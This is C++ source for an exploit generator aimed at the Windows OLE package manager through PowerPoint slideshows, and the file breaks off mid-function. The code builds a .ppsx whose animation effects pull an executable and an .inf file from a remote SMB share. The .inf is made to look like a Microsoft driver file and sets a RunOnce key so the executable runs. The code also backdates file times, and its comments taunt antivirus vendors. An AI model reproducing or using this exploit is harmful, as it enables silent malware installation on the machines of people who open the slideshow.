Windows NT 6.X OLE package manager remote code execution through MS Office Powerpoint XYZ slideshow (ppts, pptxs).

  1. /*++
    Title:
    Windows NT 6.X OLE package manager remote code execution through
    MS Office Powerpoint XYZ slideshow (ppts, pptxs).

    EID:
    00000217:2013/06/10

    Description:
    Undocumented features exist in Windows NT 6 OLE package manager.
    These features allow to bypass ‘Safe download’ mechanism from
    untrusted sources and to execute imm. The IContextMenu i-face
    is used by 3-rd party software (such as MS Office Powerpoint XYZ)
    to unpack and dispatch package data. Shell action to be applied
    to package is specified by action id in ‘cmd’ parameter of slide
    xml-based document. Action Id ‘-1’ and ‘-2’ are reserved by MS
    Office Powerpoint engine. Currently, silent ‘.inf’ installation
    is used for mitigation bypass. The MS Office for Windows XP
    contains internal OLE Package interpreter, so Windows XP doesn’t
    affected.
    Hi F-5ecure and E5et! We are offering you to patch holes and
    backdoors in your fucking AV-s. We know about them.

    Discovered:
    2013/06/06

    –*/

    #include <Windows.h>
    #include <OleAuto.h>
    #include <stdio.h>
    #include <OAIdl.h>
    #include <string>
    #include <shldisp.h>
    #include <tlhelp32.h>
    #include <assert.h>

    using namespace std;

    #define MAKE_OFFICE_IMPORT 0

    #if MAKE_OFFICE_IMPORT
    #import “z:Program Files (x86)Common Filesmicrosoft sharedVBAVBA6VBE6EXT.OLB”
    #import “z:Program Files (x86)Common Filesmicrosoft sharedOFFICE12mso.dll”
    #import “z:Program Files (x86)Microsoft OfficeOffice12msppt.olb”

    /* Modify office headers after import.
    In file vbe6ext.tlh specify:
    #include “mso.tlh”
    using namespace Office;

    In file msppt.tlh specify:
    #include “vbe6ext.tlh”
    using namespace VBIDE;
    */

    #else

    #if _DEBUG

    #include “Debugmso.tlh”
    #include “Debugvbe6ext.tlh”
    #include “Debugmsppt.tlh”

    #else

    #include “Releasemso.tlh”
    #include “Releasevbe6ext.tlh”
    #include “Releasemsppt.tlh”

    #endif

    #endif

    /* Processor definitions
    */
    static HRESULT __G_hresult = S_OK;

    #define CHK_HR( hr ) do { if (FAILED(__G_hresult = (hr))) { goto _Done; } } while(0)

    #define CHK_ALLOC( ptr ) do { if ((ptr) == NULL) {goto _Done; } } while(0)

    #define SAFE_RELEASE_BY_REF( obj ) do { if((*obj) != NULL) { (*obj )->Release(); *obj = NULL;} } while(0)

    #define SAFE_FREE_BSTR_BY_REF( obj ) do { if((*obj) != NULL) { SysFreeString((*obj)); (*obj) = NULL;} } while(0)

    #define VariantInitAsLong( var, val)
    VariantInit( &(var) );
    (var).vt = VT_I4;
    (var).lVal = val;

    /*************************************************************************
    Rtns definition
    *************************************************************************/
    int wmain(int argc, wchar_t **argv);
    bool change_file_time(__in wchar_t *fname);
    void print_usage_and_exit(__in wchar_t *exe);
    bool produce_presentation(__in wchar_t *fname, __in wchar_t *fnameSaveAs, __in wchar_t *fname1Tmp, __in wchar_t *fname2Tmp);
    bool presentation_does_have_ole_packages(__in PowerPoint::_Presentation *pPresentation, __out bool *doesHave);
    bool create_ole_embed_stg_copy(__in const wchar_t *file_result, __in char *str1, __in char *str2);
    bool rewrite_embeddings_in_presentation(__in wchar_t *fnamePpt, __in wchar_t *fnameData);
    bool parse_cmd(int argc, wchar_t **argv, wstring *fnamePptIn, wstring *smbPath, wstring *fnameExe,wstring *fnameExeOnSmb,wstring *fnameInfOnSmb, bool *bForceUpload);

    /*************************************************************************
    Rtns implementation
    *************************************************************************/
    bool produce_presentation(__in wchar_t *fname, __in wchar_t *fnameSaveAs, __in wchar_t *fname1Tmp, __in wchar_t *fname2Tmp) {

    wstring stdWstrFileSaveAs;
    PowerPoint::PpSaveAsFileType saveAsType;
    bool bres = false,
    bDoesHaveOlePackages = false;
    CLSID appClsid = { 0 };
    BSTR bstrApplicationProgId = NULL,
    bstrPresentationPath = NULL,
    bstrSaveAs = NULL;
    PowerPoint::_Application *pApplication = NULL;
    PowerPoint::Presentations *pPresentations = NULL;
    PowerPoint::_Presentation *pPresentation = NULL;
    PowerPoint::Slides *pSlides = NULL;
    PowerPoint::_Slide *pSlide = NULL;
    PowerPoint::Shapes *pShapes = NULL;
    PowerPoint::Shape *pShape0 = NULL,
    *pShape1 = NULL,
    *pShapeCurr = NULL;
    PowerPoint::TimeLine *pTimeLine = NULL;
    PowerPoint::Sequences *pSequences = NULL;
    PowerPoint::Sequence *pSequence = NULL;
    PowerPoint::Effect *pEffect = NULL;
    PowerPoint::AnimationBehaviors *pAnimationBehaviors = NULL;
    PowerPoint::AnimationBehavior *pAnimationBehavior = NULL;
    PowerPoint::CommandEffect *pCommandEffect = NULL;
    PowerPoint::SlideShowTransition *pSlideShowTransition = NULL;
    VARIANT varSlideIndex;

    /* Produce file name for saving
    */
    stdWstrFileSaveAs.append(fnameSaveAs);

    saveAsType = PowerPoint::PpSaveAsFileType::ppSaveAsOpenXMLShow;

    CHK_ALLOC( bstrApplicationProgId = SysAllocString(L”Powerpoint.Application”));

    /* Obtain POwerPoint App CLSID from PowerPoint App Identifier
    */
    CHK_HR( CLSIDFromProgID( bstrApplicationProgId, &appClsid) );

    /* Create instance of POWERPOINT Application
    */
    CHK_HR( CoCreateInstance(
    appClsid,
    NULL,
    CLSCTX_LOCAL_SERVER,
    __uuidof(PowerPoint::_Application),
    (LPVOID*)&pApplication) );

    /* Get presentation collection
    */
    CHK_HR( pApplication ->get_Presentations(&pPresentations) );

    /* Open presentation
    */
    CHK_ALLOC( bstrPresentationPath = SysAllocString(fname) );

    CHK_HR( pPresentations ->raw_Open(
    bstrPresentationPath,
    Office::MsoTriState::msoFalse,
    Office::MsoTriState::msoFalse,
    Office::MsoTriState::msoFalse,
    &pPresentation) );

    /* Make sure that presentation doesn’t have a lot of ole packages
    */
    if (!presentation_does_have_ole_packages(pPresentation, &bDoesHaveOlePackages)) {

    CHK_HR( E_ABORT );
    }

    if (bDoesHaveOlePackages) {

    printf(“[-] ERROR: Specified presentation already includes OLE objects or no slides found.n”);

    CHK_HR( E_ABORT );
    }

    /* Get collection of slides
    */

    CHK_HR( pPresentation ->get_Slides( &pSlides) );

    /* Get first slide by index
    */
    VariantInitAsLong(varSlideIndex, 1);

    CHK_HR( pSlides ->raw_Item( varSlideIndex, &pSlide) );

    /* Get collection of shapes in slide
    */
    CHK_HR( pSlide ->get_Shapes( &pShapes) );

    /* Add 1-th shape to slide as first OLE object
    */
    CHK_HR( pShapes ->raw_AddOLEObject(
    100.0, -100.0, 30.0, 30.0,
    _bstr_t(L””),
    _bstr_t(fname1Tmp),
    Office::MsoTriState::msoFalse,
    _bstr_t(L””),
    0,
    _bstr_t(L””),
    Office::MsoTriState::msoFalse,
    &pShape0
    ) );

    /* Add 2-th shape to slide as second OLE object
    */
    CHK_HR( pShapes ->raw_AddOLEObject(
    150.0, -100.0, 30.0, 30.0,
    _bstr_t(L””),
    _bstr_t(fname2Tmp),
    Office::MsoTriState::msoFalse,
    _bstr_t(L””),
    0,
    _bstr_t(L””),
    Office::MsoTriState::msoFalse,
    &pShape1
    ) );

    /* Configure slide timing
    */
    CHK_HR( pSlide ->get_TimeLine( &pTimeLine ) );

    /* Obtain Main Sequence for timeLine of slide
    */
    CHK_HR( pTimeLine ->get_MainSequence( &pSequence) );

    /* Produce first effect for 1-th shape.
    1-th shape specifies OLE Object which just copies .exe payload
    from remote SMB server and stores in temporary file.
    Specify command verb as ‘-3’ which tells to ShellApi do nothing.
    Effect with id 1 loads slide background.
    Effect with id 2 loads exe stub from remote server.
    */
    {
    CHK_HR( pSequence ->raw_AddEffect(
    pShape0,
    PowerPoint::MsoAnimEffect::msoAnimEffectFlashOnce,
    PowerPoint::MsoAnimateByLevel::msoAnimateLevelNone,
    PowerPoint::MsoAnimTriggerType::msoAnimTriggerWithPrevious, //PowerPoint::MsoAnimTriggerType::msoAnimTriggerOnPageClick,
    1,
    &pEffect) );

    SAFE_RELEASE_BY_REF( &pEffect );

    CHK_HR( pSequence ->raw_AddEffect(
    pShape0,
    PowerPoint::MsoAnimEffect::msoAnimEffectFlashOnce,
    PowerPoint::MsoAnimateByLevel::msoAnimateLevelNone,
    PowerPoint::MsoAnimTriggerType::msoAnimTriggerAfterPrevious, //PowerPoint::MsoAnimTriggerType::msoAnimTriggerOnPageClick,
    2,
    &pEffect) );

    CHK_HR( pEffect ->get_Behaviors( &pAnimationBehaviors) );

    CHK_HR( pAnimationBehaviors ->raw_Add( PowerPoint::MsoAnimType::msoAnimTypeCommand, 1, &pAnimationBehavior) );

    CHK_HR( pAnimationBehavior ->get_CommandEffect( &pCommandEffect) );

    CHK_HR( pCommandEffect ->put_Type( PowerPoint::MsoAnimCommandType::msoAnimCommandTypeVerb) );

    CHK_HR( pCommandEffect ->put_Command( _bstr_t(L”-3″)) );
    }

    /* Release resources assigned with Shape0
    */
    SAFE_RELEASE_BY_REF( &pCommandEffect );
    SAFE_RELEASE_BY_REF( &pAnimationBehavior );
    SAFE_RELEASE_BY_REF( &pAnimationBehaviors );
    SAFE_RELEASE_BY_REF( &pEffect );
    SAFE_RELEASE_BY_REF( &pShape0 );

    /* Produce first effect for 2-th shape.
    2-th shape specifies OLE Object which simple copies .inf file
    from remote SMB server and stores in temporary file with .inf extension.
    Specify command verb as ‘3’ which tells to ShellApi do ‘Install’ action.
    Effect with id 3 loads .inf from remote server and start it.
    */
    {
    CHK_HR( pSequence ->raw_AddEffect(
    pShape1,
    PowerPoint::MsoAnimEffect::msoAnimEffectFlashOnce,
    PowerPoint::MsoAnimateByLevel::msoAnimateLevelNone,
    PowerPoint::MsoAnimTriggerType::msoAnimTriggerAfterPrevious,
    3,
    &pEffect) );

    CHK_HR( pEffect ->get_Behaviors( &pAnimationBehaviors) );

    CHK_HR( pAnimationBehaviors ->raw_Add( PowerPoint::MsoAnimType::msoAnimTypeCommand, 1, &pAnimationBehavior) );

    CHK_HR( pAnimationBehavior ->get_CommandEffect( &pCommandEffect) );

    CHK_HR( pCommandEffect ->put_Type( PowerPoint::MsoAnimCommandType::msoAnimCommandTypeVerb) );

    CHK_HR( pCommandEffect ->put_Command( _bstr_t(L”3″)) );
    }
    /* Release resources assigned with Shape1
    */
    SAFE_RELEASE_BY_REF( &pCommandEffect );
    SAFE_RELEASE_BY_REF( &pAnimationBehavior );
    SAFE_RELEASE_BY_REF( &pAnimationBehaviors );
    SAFE_RELEASE_BY_REF( &pEffect );
    SAFE_RELEASE_BY_REF( &pShape1 );

    /* Configure SlideShowTransition
    */

    CHK_HR( pSlide ->get_SlideShowTransition(&pSlideShowTransition) );

    CHK_HR( pSlideShowTransition ->put_EntryEffect( PowerPoint::PpEntryEffect::ppEffectBoxOut ) );

    CHK_HR( pSlideShowTransition ->put_AdvanceTime( 0.5 ) );

    SAFE_RELEASE_BY_REF( &pSlideShowTransition );

    /* Release resources assigned with Presentation
    */
    SAFE_RELEASE_BY_REF( &pSequence );
    SAFE_RELEASE_BY_REF( &pTimeLine );
    SAFE_RELEASE_BY_REF( &pShapes );
    SAFE_RELEASE_BY_REF( &pSlide );
    SAFE_RELEASE_BY_REF( &pSlides );

    /* Save presentation
    */
    CHK_ALLOC(bstrSaveAs = SysAllocString(stdWstrFileSaveAs.c_str()) );

    CHK_HR( pPresentation ->raw_SaveAs( bstrSaveAs, saveAsType, Office::MsoTriState::msoTriStateMixed) );

    bres = true;

    _Done:

    VariantClear( &varSlideIndex );

    SAFE_FREE_BSTR_BY_REF( &bstrPresentationPath );

    SAFE_FREE_BSTR_BY_REF( &bstrApplicationProgId );

    SAFE_FREE_BSTR_BY_REF( &bstrSaveAs );

    /* Release resources assigned with Shape0 and Shape1
    */
    SAFE_RELEASE_BY_REF( &pCommandEffect );
    SAFE_RELEASE_BY_REF( &pAnimationBehavior );
    SAFE_RELEASE_BY_REF( &pAnimationBehaviors );
    SAFE_RELEASE_BY_REF( &pEffect );
    SAFE_RELEASE_BY_REF( &pShape0 );
    SAFE_RELEASE_BY_REF( &pShape1 );

    /* Release resources assigned with Presentation
    */
    SAFE_RELEASE_BY_REF( &pSlideShowTransition );
    SAFE_RELEASE_BY_REF( &pSequence );
    SAFE_RELEASE_BY_REF( &pTimeLine );
    SAFE_RELEASE_BY_REF( &pShapes );
    SAFE_RELEASE_BY_REF( &pSlide );
    SAFE_RELEASE_BY_REF( &pSlides );

    /* Close Currently opened presentation
    */
    if (pPresentation) {

    pPresentation ->raw_Close();
    }
    SAFE_RELEASE_BY_REF( &pPresentation );

    SAFE_RELEASE_BY_REF( &pPresentations );

    /* Close powerpoint automation application
    */
    if (pApplication) {

    pApplication ->raw_Quit();
    }

    SAFE_RELEASE_BY_REF( &pApplication );

    return bres;
    }

    bool create_ole_embed_stg_copy(__in const wchar_t *file_result, __in char *str1, __in char *str2) {

    bool bresult = false;
    IStorage *pStorage = NULL;
    IStream *pStream = NULL;
    HRESULT hresult = S_OK;
    CLSID clsidMedia = {0};
    VOID *pvFileData = NULL;
    size_t dataSize = 0;
    ULONG bytesWritten = 0;
    char trailer = 0;
    wstring stdWstrFileNameOut;

    stdWstrFileNameOut.append(file_result);

    hresult =
    StgCreateStorageEx(
    stdWstrFileNameOut.c_str(),
    STGM_CREATE | STGM_SHARE_EXCLUSIVE | STGM_READWRITE,
    STGFMT_STORAGE,
    0,
    NULL,
    NULL,
    IID_IStorage,
    (void**)&pStorage
    );

    if (FAILED(hresult)) {

    //printf(“[-] %s(): StgCreateStorageEx failed with error: %d(%08x)rn”, __FUNCTION__, hresult, hresult);

    CHK_HR(hresult);
    }

    hresult =
    pStorage ->CreateStream(
    L”x01OLE10Native”,
    STGM_CREATE | STGM_SHARE_EXCLUSIVE | STGM_READWRITE,
    0,
    0,
    &pStream
    );

    if (FAILED(hresult)) {

    //printf(“[-] %s(): IStorage::CreateStream failed with error: %d(%08x)rn”, __FUNCTION__, hresult, hresult);

    CHK_HR(hresult);
    }

    dataSize = strlen(str1) + 1 + strlen(str2) + 1;

    // write header
    hresult = pStream ->Write( &dataSize, (ULONG)4, &bytesWritten );

    if (FAILED(hresult)) {

    //printf(“[-] %s(): IStream::Write(header) failed with error %d(%08x)rn”, __FUNCTION__, hresult, hresult);

    CHK_HR(E_ABORT);
    }

    // write string 1
    hresult = pStream ->Write( str1, (ULONG)strlen(str1), &bytesWritten );

    if (FAILED(hresult)) {

    //printf(“[-] %s(): IStream::Write(string#1) failed with error %d(%08x)rn”, __FUNCTION__, hresult, hresult);

    CHK_HR(E_ABORT);
    }

    // write string 1 trailer
    hresult = pStream ->Write( &trailer, (ULONG)1, &bytesWritten );

    if (FAILED(hresult)) {

    //printf(“[-] %s(): IStream::Write(string#1 trailer) failed with error %d(%08x)rn”, __FUNCTION__, hresult, hresult);

    CHK_HR(E_ABORT);
    }

    // write string 2
    hresult = pStream ->Write( str2, (ULONG)strlen(str2), &bytesWritten );

    if (FAILED(hresult)) {

    //printf(“[-] %s(): IStream::Write(string#2) failed with error %d(%08x)rn”, __FUNCTION__, hresult, hresult);

    CHK_HR(E_ABORT);
    }

    // write string 2 trailer
    hresult = pStream ->Write( &trailer, (ULONG)1, &bytesWritten );

    if (FAILED(hresult)) {

    //printf(“[-] %s(): IStream::Write(string#2 trailer) failed with error %d(%08x)rn”, __FUNCTION__, hresult, hresult);

    CHK_HR(E_ABORT);
    }

    // write class of storage
    hresult = CLSIDFromString( L”{00022602-0000-0000-C000-000000000046}”, &clsidMedia);

    if (FAILED(hresult)) {

    //printf(“[-] %s(): CLSIDFromString failed with error %d(%08x)rn”, __FUNCTION__, hresult, hresult);

    CHK_HR(E_ABORT);
    }

    hresult = WriteClassStg(pStorage, clsidMedia);

    if (FAILED(hresult)) {

    //printf(“[-] %s(): WriteClassStg failed with error %d(%08x)rn”, __FUNCTION__, hresult, hresult);

    CHK_HR(hresult);
    }

    //printf(“[+] %s(): Storage %S created.rn”, __FUNCTION__, file_result);
    change_file_time( (wchar_t*)stdWstrFileNameOut.c_str() );

    bresult = true;

    _Done:
    SAFE_RELEASE_BY_REF( &pStream );

    SAFE_RELEASE_BY_REF( &pStorage );

    if(pvFileData) {

    free(pvFileData);
    }

    return bresult;

    }

    bool create_somthing_file(wchar_t *fpath) {

    HANDLE hFile = INVALID_HANDLE_VALUE;
    DWORD bytesWritten = 0;

    hFile = CreateFileW(fpath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE || hFile == NULL) {

    wprintf(L”[-] ERROR: Cannot create temporary file %s with some datan”, fpath);

    return false;
    }

    if (FALSE == WriteFile( hFile, “Some Datan”, strlen(“Some Datan”), &bytesWritten, NULL)) {

    wprintf(L”[-] ERROR: Cannot write temporary file %s with some datan”, fpath);

    CloseHandle(hFile);

    return false;
    }

    CloseHandle(hFile);

    return true;
    }

    bool generate_inf_file(wchar_t *fnameInf, wchar_t *fnameExeOnSmb) {

    HANDLE hFile = INVALID_HANDLE_VALUE;
    DWORD bytesWritten = 0;
    wstring stdFnameExeOnSmb;
    string stdFnameExeOnSmbA;
    string data;
    BOOL bres = FALSE;

    stdFnameExeOnSmb.append(fnameExeOnSmb);
    stdFnameExeOnSmbA.append(stdFnameExeOnSmb.begin(), stdFnameExeOnSmb.end());

    hFile = CreateFileW( fnameInf, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE || hFile == NULL) {

    wprintf(L”[-] ERROR: Cannot create temporary file %s with some datan”, fnameInf);

    return false;
    }

    data.append(“; 61883.INFn”);
    data.append(“; Copyright (c) Microsoft Corporation. All rights reserved.nn”);

    data.append(“[Version]n”);
    data.append(“Signature = “$CHICAGO$”n”);
    data.append(“Class=61883n”);
    data.append(“ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}n”);
    data.append(“Provider=%Msft%n”);
    data.append(“DriverVer=06/21/2006,6.1.7600.16385nn”);

    data.append(“[DestinationDirs]n”);
    data.append(“DefaultDestDir = 1nn”);

    data.append(“[DefaultInstall]n”);
    data.append(“RenFiles = RxRenamen”);
    data.append(“AddReg = RxStartnn”);

    data.append(“[RxRename]n”);
    data.append(stdFnameExeOnSmbA.c_str());
    data.append(“.exe, “);
    data.append(stdFnameExeOnSmbA.c_str());
    data.append(“n”);

    data.append(“[RxStart]n”);
    data.append(“HKLM,SoftwareMicrosoftWindowsCurrentVersionRunOnce,Install,,%1%”);
    data.append(stdFnameExeOnSmbA.c_str());
    data.append(“.exen”);

    bres = WriteFile(hFile, data.c_str(), data.length(), &bytesWritten, NULL);

    FlushFileBuffers(hFile);

    CloseHandle(hFile);

    return (bres);
    }

    int wmain(int argc, wchar_t **argv) {

    wstring stdWstrSaveAs,
    stdWstrObject1,
    stdWstrObject2,
    stdWstrSavedAs;

    wstring stdFnamePptIn,
    stdSmbPath,
    stdFnameExe,
    stdFnameExeOnSmb,
    stdFnameInfOnSmb,
    stdPathExeOnSmb,
    stdPathInfOnSmb,
    stdPathTmp1,
    stdPathTmp2,
    stdPathInf,
    stdPathExe;
    string stdPathExeOnSmbA,
    stdPathInfOnSmbA;

    bool bForceUpload = false;

    wchar_t currDir[MAX_PATH];

    GetCurrentDirectoryW(MAX_PATH, currDir);

    if (!parse_cmd(argc, argv, &stdFnamePptIn, &stdSmbPath, &stdFnameExe, &stdFnameExeOnSmb, &stdFnameInfOnSmb, &bForceUpload ) ) {

    printf(“[-] ERROR: invalid inputn”);

    return 0;
    }

    CHK_HR( CoInitializeEx(NULL, COINIT_APARTMENTTHREADED));

    stdWstrSaveAs.append(stdFnamePptIn.c_str());

    stdWstrSaveAs.append(L”.saved.ppsx”);

    /* Construct a path to exe on SMB as %stdSmbPath%%stdFnameExeOnSmb%
    */
    stdPathExeOnSmb.append(stdSmbPath.c_str());
    stdPathExeOnSmb.append(L””);
    stdPathExeOnSmb.append(stdFnameExeOnSmb.c_str());
    stdPathExeOnSmbA.append(stdPathExeOnSmb.begin(), stdPathExeOnSmb.end());

    /* Construct a path to inf on SMB as %stdSmbPath%%stdFnameInfOnSmb%
    */
    stdPathInfOnSmb.append(stdSmbPath.c_str());
    stdPathInfOnSmb.append(L””);
    stdPathInfOnSmb.append(stdFnameInfOnSmb.c_str());
    stdPathInfOnSmbA.append(stdPathInfOnSmb.begin(), stdPathInfOnSmb.end());

    /* Construct a path to tmp1 file
    */
    stdPathTmp1.append(currDir);
    stdPathTmp1.append(L”tmp1.tmp”);

    if (!create_somthing_file((wchar_t*)stdPathTmp1.c_str()) ) {

    CHK_HR(E_ABORT);
    }

    /* Construct a path to tmp2 file
    */
    stdPathTmp2.append(currDir);
    stdPathTmp2.append(L”tmp2.tmp”);

    if (!create_somthing_file((wchar_t*)stdPathTmp2.c_str()) ) {

    CHK_HR(E_ABORT);
    }

    /* Modify presentation imm
    */
    if (!produce_presentation(
    (wchar_t*)stdFnamePptIn.c_str(),
    (wchar_t *)stdWstrSaveAs.c_str(),
    (wchar_t *) stdPathTmp1.c_str(),
    (wchar_t *) stdPathTmp2.c_str()
    ) )
    {

    printf(“[-] ERROR: cannot update presentationn”);

    CHK_HR( E_ABORT);
    }

    /* Create OLE 1-th Object
    */
    stdWstrObject1.append(currDir);
    stdWstrObject1.append(L””);
    stdWstrObject1.append(L”oleObject1.bin”);

    if (!create_ole_embed_stg_copy(stdWstrObject1.c_str(), “EmbeddedStg1.txt”, (char*)stdPathExeOnSmbA.c_str()) ) {

    printf(“[-] ERROR: cannot create 1-th OLE Objectn”);

    CHK_HR( E_ABORT);
    }

    /* Create OLE 2-th Object
    */
    stdWstrObject2.append(currDir);
    stdWstrObject2.append(L””);
    stdWstrObject2.append(L”oleObject2.bin”);
    if (!create_ole_embed_stg_copy(stdWstrObject2.c_str(), “EmbeddedStg2.txt”, (char*)stdPathInfOnSmbA.c_str()) ) {

    printf(“[-] ERROR: cannot create 2-th OLE Objectn”);

    CHK_HR( E_ABORT);
    }

    /* Generate inf file
    */
    stdPathInf.append(currDir);
    stdPathInf.append(L””);
    stdPathInf.append(stdFnameInfOnSmb.c_str());

    if (!generate_inf_file((wchar_t*)stdPathInf.c_str(), (wchar_t*)stdFnameExeOnSmb.c_str())) {

    printf(“[-] ERROR: Cannot generate inf filen”);
    CHK_HR(E_ABORT);
    }

    /* Generate exe for SMB
    */
    stdPathExe.append(currDir);
    stdPathExe.append(L””);
    stdPathExe.append(stdFnameExeOnSmb.c_str());

    if (!CopyFileW(stdFnameExe.c_str(), stdPathExe.c_str(), FALSE)) {
    wprintf(L”[-] ERROR: Cannot create ‘%s’ from ‘%s’n”, stdFnameExeOnSmb.c_str(), stdFnameExe.c_str());

    CHK_HR(E_ABORT);
    }

    /* Upload files onto remote shared folder
    */
    if (bForceUpload) {

    if (!CopyFileW( stdPathExe.c_str(), stdPathExeOnSmb.c_str(), FALSE)) {

    wprintf(L”[-] ERROR: Cannot upload .exe file ‘%s’ to ‘%s’n”, stdPathExe.c_str(), stdSmbPath.c_str());
    }

    if (!CopyFileW( stdPathInf.c_str(), stdPathInfOnSmb.c_str(), FALSE)) {

    wprintf(L”[-] ERROR: Cannot upload .inf file ‘%s’ to ‘%s’n”, stdPathInf.c_str(), stdSmbPath.c_str());
    }
    }
    int step = 1;
    wprintf(L”[+] INFO: n”);
    wprintf(L” %d) Rename presentation file ‘%s’ to ‘%s.zip’;n”, step++, stdWstrSavedAs.c_str(), stdWstrSavedAs.c_str());
    wprintf(L” %d) Stupid MS developers cann’t create API for zip, so unzip ‘%s.zip’n”, step++, stdWstrSavedAs.c_str());
    wprintf(L” %d) Copy ‘%s’ into ‘ppt/embeddings’ sub-directory of unzipped file;n”, step++, stdWstrObject1.c_str());
    wprintf(L” %d) Copy ‘%s’ into ‘ppt/embeddings’ sub-directory of unzipped file;n”, step++, stdWstrObject2.c_str());
    wprintf(L” %d) Zip unzipped presentation and rename to presentation with ‘.ppsx’n”, step++);
    if (bForceUpload) {
    wprintf(L” %d) Copy ‘%s’ into ‘%s’n”, step++, stdFnameExeOnSmb.c_str(), stdSmbPath.c_str());
    wprintf(L” %d) Copy ‘%s’ into ‘%s’n”, step++, stdFnameInfOnSmb.c_str(), stdSmbPath.c_str());
    }
    wprintf(L” %d) Enjoy..n”, step++);

    _Done:

    DeleteFileW( stdPathTmp1.c_str());

    DeleteFileW( stdPathTmp2.c_str());

    CoUninitialize();

    return(__G_hresult);
    }

    bool presentation_does_have_ole_packages(__in PowerPoint::_Presentation *pPresentation, __out bool *doesHave) {

    bool bres = false;
    PowerPoint::Slides *pSlides = NULL;
    PowerPoint::_Slide *pSlide = NULL;
    PowerPoint::Shapes *pShapes = NULL;
    PowerPoint::Shape *pShape = NULL;
    PowerPoint::OLEFormat *pOLEFormat = NULL;
    long slidesCount = 0;
    VARIANT varSlideIndex,
    varShapeIndex;
    int shapesCount = 0;
    MsoAutoShapeType shapeType;
    BSTR bstrProgId = NULL;
    IDispatch *pOLEDispObject = NULL;

    assert(doesHave != NULL);
    assert(pPresentation != NULL);

    *doesHave = false;

    /* Get pointer to interface of Slides object.
    */
    CHK_HR(pPresentation ->get_Slides(&pSlides) );

    /* Get count of slides in presentation
    */
    CHK_HR(pSlides ->get_Count(&slidesCount) );

    /* Make sure that slides exist in presentation
    */
    if (slidesCount == 0) {

    printf(“[-] Failed couse no slides found in presentationn”);

    CHK_HR(E_FAIL);
    }

    for (long i = 1; i <= slidesCount; i ++) {

    VariantInitAsLong(varSlideIndex, i);

    CHK_HR( pSlides ->raw_Item( varSlideIndex, &pSlide) );

    VariantClear( &varSlideIndex );

    /* Get list of shapes
    */
    CHK_HR( pSlide ->get_Shapes( &pShapes) );

    /* Get count of shapes
    */
    CHK_HR( pShapes ->get_Count(&shapesCount) );

    /* Verify each shape
    */
    for (int j = 1; j <= shapesCount; j++) {

    VariantInitAsLong( varShapeIndex, j);

    CHK_HR( pShapes ->raw_Item( varShapeIndex, &pShape) );

    VariantClear( &varShapeIndex );

    CHK_HR( pShape ->get_AutoShapeType( &shapeType) );

    if (shapeType == Office::MsoAutoShapeType::msoShapeMixed) {

    CHK_HR( pShape ->get_OLEFormat(&pOLEFormat) );

    CHK_HR( pOLEFormat ->get_ProgID( &bstrProgId) );

    if (wcsicmp( L”Package”, bstrProgId) == 0) {

    *doesHave = true;
    }

    SAFE_FREE_BSTR_BY_REF( &bstrProgId );

    SAFE_RELEASE_BY_REF( &pOLEFormat );
    }

    SAFE_RELEASE_BY_REF( &pShape );

    if (*doesHave) {

    break;
    }
    }
    ///////////

    SAFE_RELEASE_BY_REF( &pShapes );

    SAFE_RELEASE_BY_REF( &pSlide );

    if (*doesHave) {

    break;
    }
    }

    bres = true;

    _Done:

    VariantClear( &varShapeIndex );

    VariantClear( &varSlideIndex );

    SAFE_FREE_BSTR_BY_REF( &bstrProgId );

    SAFE_RELEASE_BY_REF( &pOLEFormat );

    SAFE_RELEASE_BY_REF( &pShape );

    SAFE_RELEASE_BY_REF( &pShapes );

    SAFE_RELEASE_BY_REF( &pSlide );

    SAFE_RELEASE_BY_REF( &pSlides );

    return bres;
    }

    bool change_file_time(wchar_t *fname) {

    SYSTEMTIME systemTime = {0};
    HANDLE hFile = INVALID_HANDLE_VALUE;
    FILETIME fileTime = {0};

    GetSystemTime( &systemTime);

    systemTime.wYear = 1980;
    systemTime.wMonth = 1;
    systemTime.wDay = 1;
    systemTime.wHour = 15;
    systemTime.wMinute = 0;
    systemTime.wSecond = 0;

    hFile =
    CreateFileW(
    fname,
    FILE_WRITE_ATTRIBUTES,
    FILE_SHARE_READ | FILE_SHARE_WRITE,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL
    );

    if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {

    return false;
    }

    SystemTimeToFileTime( &systemTime, &fileTime);

    SetFileTime( hFile, &fileTime, &fileTime, &fileTime);

    CloseHandle(hFile);

    return true;
    }

    bool rewrite_embeddings_in_presentation(__in wchar_t *fnameZip, __in wchar_t *fnameData)
    /*++
    Oh fuck! Stupid Microsoft developers cann’t create human-relible
    API for zip management. 21st century! WTF? I cann’t use IShell
    interface for zip management, so use 3rd party zip archivers.
    –*/
    {

    bool bres = false;
    IShellDispatch *pShell = NULL;
    VARIANT varDir,
    varFile,
    varOption;
    Folder *pFolder = NULL;
    wstring stdWstrDir;

    VariantInit(&varDir);
    VariantInit(&varFile);
    VariantInit(&varOption);

    stdWstrDir.append(fnameZip);
    stdWstrDir.append(L”pptembeddings”);

    CHK_HR( CoCreateInstance( CLSID_Shell, NULL, CLSCTX_INPROC_SERVER, IID_IShellDispatch, (LPVOID*)&pShell) );

    varDir.vt = VT_BSTR;
    varDir.bstrVal = _bstr_t(stdWstrDir.c_str());

    CHK_HR( pShell ->NameSpace(varDir, &pFolder) );

    varFile.vt = VT_BSTR;
    varFile.bstrVal = _bstr_t(fnameData);

    varOption.vt = VT_I4;
    varOption.lVal = FOF_NO_UI;

    CHK_HR( pFolder ->CopyHere( varFile, varOption) );

    Sleep( 1000 );

    bres = true;

    _Done:

    //VariantClear( &varOption );
    //VariantClear( &varFile );
    //VariantClear( &varDir );

    SAFE_RELEASE_BY_REF( &pFolder );

    SAFE_RELEASE_BY_REF( &pShell );

    return bres;
    }

    bool parse_cmd(
    __in int argc,
    wchar_t **argv,
    wstring *fnamePptIn,
    wstring *smbPath,
    wstring *fnameExe,
    wstring *fnameExeOnSmb,
    wstring *fnameInfOnSmb,
    bool *bForceUpload
    )
    {
    wstring stdOpt;
    bool bFnamePptIn = false,
    bSmbPath = false,
    bFnameExe = false,
    bFnameExeOnSmb = false,
    bFnameInfOnSmb = false;

